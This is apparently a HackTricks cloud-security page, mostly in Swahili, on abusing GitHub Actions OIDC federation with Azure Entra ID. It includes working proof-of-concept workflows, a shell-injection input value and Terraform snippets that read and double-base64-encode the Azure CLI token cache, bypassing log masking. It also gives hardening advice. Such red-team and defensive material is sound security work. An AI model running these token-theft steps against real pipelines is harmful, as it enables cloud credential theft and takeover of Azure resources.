Azure – Federation Abuse (GitHub Actions OIDC / Workload Identity)

Reading time: 8 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Muhtasari

GitHub Actions inaweza kuunganishwa na Azure Entra ID (aliyekuwa Azure AD) kwa kutumia OpenID Connect (OIDC). GitHub workflow inaomba token fupi ya GitHub ID (JWT) inayobeba maelezo kuhusu utekelezaji. Azure inathibitisha token hii dhidi ya Federated Identity Credential (FIC) kwenye App Registration (service principal) na kuiyabadilisha kwa Azure access tokens (MSAL cache, bearer tokens kwa Azure APIs).

Azure inathibitisha angalau:

  • iss: https://token.actions.githubusercontent.com
  • aud: api://AzureADTokenExchange (wakati wa kubadilishana kwa tokens za Azure)
  • sub: lazima iendane na FIC Subject identifier iliyosanidiwa

aud chaguo-msingi ya GitHub inaweza kuwa GitHub URL. Unapobadilishana na Azure, weka wazi audience=api://AzureADTokenExchange.

GitHub ID token PoC ya haraka

yaml
name: Print OIDC identity token
on: { workflow_dispatch: {} }
permissions:
id-token: write
jobs:
view-token:
runs-on: ubuntu-latest
steps:
- name: get-token
run: |
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL")
# Base64 avoid GitHub masking
echo "$OIDC_TOKEN" | base64 -w0

Ili kulazimisha audience ya Azure kwenye ombi la tokeni:

bash
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange")

Azure usanidi (Workload Identity Federation)

  1. Tengeneza App Registration (service principal) na toa ruhusa za kiwango cha chini (kwa mfano, Storage Blob Data Contributor kwenye storage account maalum).

  2. Ongeza Federated identity credentials:

  • Issuer: https://token.actions.githubusercontent.com
  • Audience: api://AzureADTokenExchange
  • Subject identifier: iwe na wigo mkali kwa muktadha wa workflow/run uliokusudiwa (angalia Scoping and risks hapa chini).
  1. Tumia azure/login kubadilishana GitHub ID token na kuingia kwenye Azure CLI:
yaml
name: Deploy to Azure
on:
push: { branches: [main] }
permissions:
id-token: write
contents: read
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- name: Az CLI login
uses: azure/login@v2
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
- name: Upload file to Azure
run: |
az storage blob upload --data "test" -c hmm -n testblob \
--account-name sofiatest --auth-mode login

Mfano wa kubadilishana kwa mkono (wigo wa Graph umeonyeshwa; ARM au rasilimali nyingine vivyo hivyo):

http
POST /<TENANT-ID>/oauth2/v2.0/token HTTP/2
Host: login.microsoftonline.com
Content-Type: application/x-www-form-urlencoded

client_id=<app-client-id>&grant_type=client_credentials&
client_assertion=<GitHub-ID-token>&client_info=1&
client_assertion_type=urn%3Aietf%3Aparams%3Aoauth%3Aclient-assertion-type%3Ajwt-bearer&
scope=https%3a%2f%2fgraph.microsoft.com%2f%2f.default

GitHub OIDC subject (sub) muundo na ubinafsishaji

Muundo wa chaguo-msingi wa sub: repo:/:

Thamani za context ni pamoja na:

  • environment:
  • pull_request (PR huanzishwa wakati sio kwenye environment)
  • ref:refs/(heads|tags)/

Claims muhimu zinazopatikana mara nyingi katika payload:

  • repository, ref, ref_type, ref_protected, repository_visibility, job_workflow_ref, actor

Binafsisha muundo wa sub kupitia GitHub API ili kujumuisha claims za ziada na kupunguza hatari ya mgongano:

bash
gh api orgs/<org>/actions/oidc/customization/sub
gh api repos/<org>/<repo>/actions/oidc/customization/sub
# Example to include owner and visibility
gh api \
--method PUT \
repos/<org>/<repo>/actions/oidc/customization/sub \
-f use_default=false \
-f include_claim_keys='["repository_owner","repository_visibility"]'

Kumbuka: Alama za kolon katika majina ya environment zime URL‑encoded (%3A), kuondoa tricks za zamani za delimiter‑injection dhidi ya sub parsing. Hata hivyo, kutumia subjects zisizo za kipekee (kwa mfano, only environment:) bado si salama.

Wigo na hatari za aina za subject za FIC

  • Branch/Tag: sub=repo:/:ref:refs/heads/ or ref:refs/tags/
  • Hatari: Ikiwa branch/tag haina ulinzi, mchangiaji yeyote anaweza push na kupata tokens.
  • Environment: sub=repo:/:environment:
  • Hatari: Environments zisizo na ulinzi (hakuna reviewers) zinaruhusu mchangiaji ku-mint tokens.
  • Pull request: sub=repo:/:pull_request
  • Hatari kuu: Collaborator yeyote anaweza kufungua PR na kutimiza FIC.

PoC: PR‑triggered token theft (exfiltrate the Azure CLI cache written by azure/login):

yaml
name: Steal tokens
on: pull_request
permissions:
id-token: write
contents: read
jobs:
extract-creds:
runs-on: ubuntu-latest
steps:
- name: azure login
uses: azure/login@v2
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
- name: Extract access token
run: |
# Azure CLI caches tokens here on Linux runners
cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0
# Decode twice locally to recover the bearer token

Mahali ya faili na vidokezo vinavyohusiana:

  • Linux/macOS: ~/.azure/msal_token_cache.json inahifadhi MSAL tokens kwa vikao vya az CLI
  • Windows: msal_token_cache.bin chini ya wasifu la mtumiaji; ililindwa na DPAPI

Workflows zinazoweza kutumika tena na upeo wa job_workflow_ref

Inapoitwa workflow inayoweza kutumika tena inaongeza job_workflow_ref kwenye GitHub ID token, kwa mfano:

ndc-security-demo/reusable-workflows/.github/workflows/reusable-file-upload.yaml@refs/heads/main

Mfano wa FIC kwa kuunganisha repo ya caller na reusable workflow:

sub=repo:<org>/<repo>:job_workflow_ref:<org>/<reusable-repo>/.github/workflows/<file>@<ref>

Sanidi claims katika caller repo ili repo na job_workflow_ref zote ziwepo katika sub:

http
PUT /repos/<org>/<repo>/actions/oidc/customization/sub HTTP/2
Host: api.github.com
Authorization: token <access token>

{"use_default": false, "include_claim_keys": ["repo", "job_workflow_ref"]}

Onyo: Ikiwa utaweka job_workflow_ref pekee katika FIC, mshambuliaji anaweza kuunda repo tofauti katika org ile ile, kuendesha reusable workflow ile ile kwenye ref ile ile, kutimiza FIC, na mint tokens. Daima jumuisha caller repo pia.

Njia za utekelezaji za code zinazopitisha ulinzi wa job_workflow_ref

Hata ukiwa na job_workflow_ref iliyowekwa kwa usahihi, data yoyote inayodhibitiwa na caller inayofika shell bila quoting salama inaweza kusababisha utekelezaji wa code ndani ya muktadha wa workflow uliolindwa.

Mfano wa hatua ya reusable iliyo hatarini (unquoted interpolation):

yaml
- name: Example Security Check
run: |
echo "Checking file contents"
if [[ "${{ inputs.file_contents }}" == *"malicious"* ]]; then
echo "Malicious content detected!"; exit 1
else
echo "File contents are safe."
fi

Ingizo kutoka kwa mwito hatari ili kutekeleza amri na exfiltrate Azure token cache:

yaml
with:
file_contents: 'a" == "a" ]]; then cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0; fi; if [[ "a'

Terraform plan kama primitivu ya utekelezaji katika PRs

Chukulia Terraform plan kama code execution. Wakati wa plan, Terraform inaweza:

  • Kusoma faili zozote kupitia functions kama file()
  • Kutekeleza amri kupitia the external data source

Mfano wa exfiltrate Azure token cache wakati wa plan:

hcl
output "msal_token_cache" {
value = base64encode(base64encode(file("/home/runner/.azure/msal_token_cache.json")))
}

Au tumia external kuendesha amri zozote:

hcl
data "external" "exfil" {
program = ["bash", "-lc", "cat ~/.azure/msal_token_cache.json | base64 -w0 | base64 -w0"]
}

Kutoa FICs zenye kutumika kwenye plan zinazochochewa na PR kunafichua token zilizo na mamlaka na kunaweza kuweka mazingira kwa apply ya uharibifu baadaye. Tofautisha vitambulisho kwa plan vs apply; kamwe usiruhusu token zenye mamlaka katika muktadha wa PR usioaminika.

Hardening checklist

  • Kamwe usitumie sub=...:pull_request kwa FICs nyeti
  • Linda any branch/tag/environment inayotajwa na FICs (branch protection, environment reviewers)
  • Tumia FICs zilizo na scope kwa repo na job_workflow_ref kwa reusable workflows
  • Badilisha GitHub OIDC sub ili kujumuisha claims za kipekee (e.g., repo, job_workflow_ref, repository_owner)
  • Ondoa interpolation isiyo na nukuu ya caller inputs ndani ya run steps; kodisha/weke kwa nukuu kwa usalama
  • Tibu terraform plan kama utekelezaji wa code; zuia au weka vitambulisho kwa njia ya kutengwa katika muktadha wa PR
  • Lazimisha least privilege kwenye App Registrations; tofautisha vitambulisho kwa plan vs apply
  • Iweke actions na reusable workflows kwa commit SHAs (epuka branch/tag pins)

Manual testing tips

  • Omba GitHub ID token ndani ya workflow na uchapishe kama base64 ili kuepuka masking
  • Decode JWT ili kuchunguza claims: iss, aud, sub, job_workflow_ref, repository, ref
  • Badilishana kwa mkono ID token dhidi ya login.microsoftonline.com ili kuthibitisha FIC matching na scopes
  • Baada ya azure/login, soma ~/.azure/msal_token_cache.json ili kuthibitisha uwepo wa token material

References

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks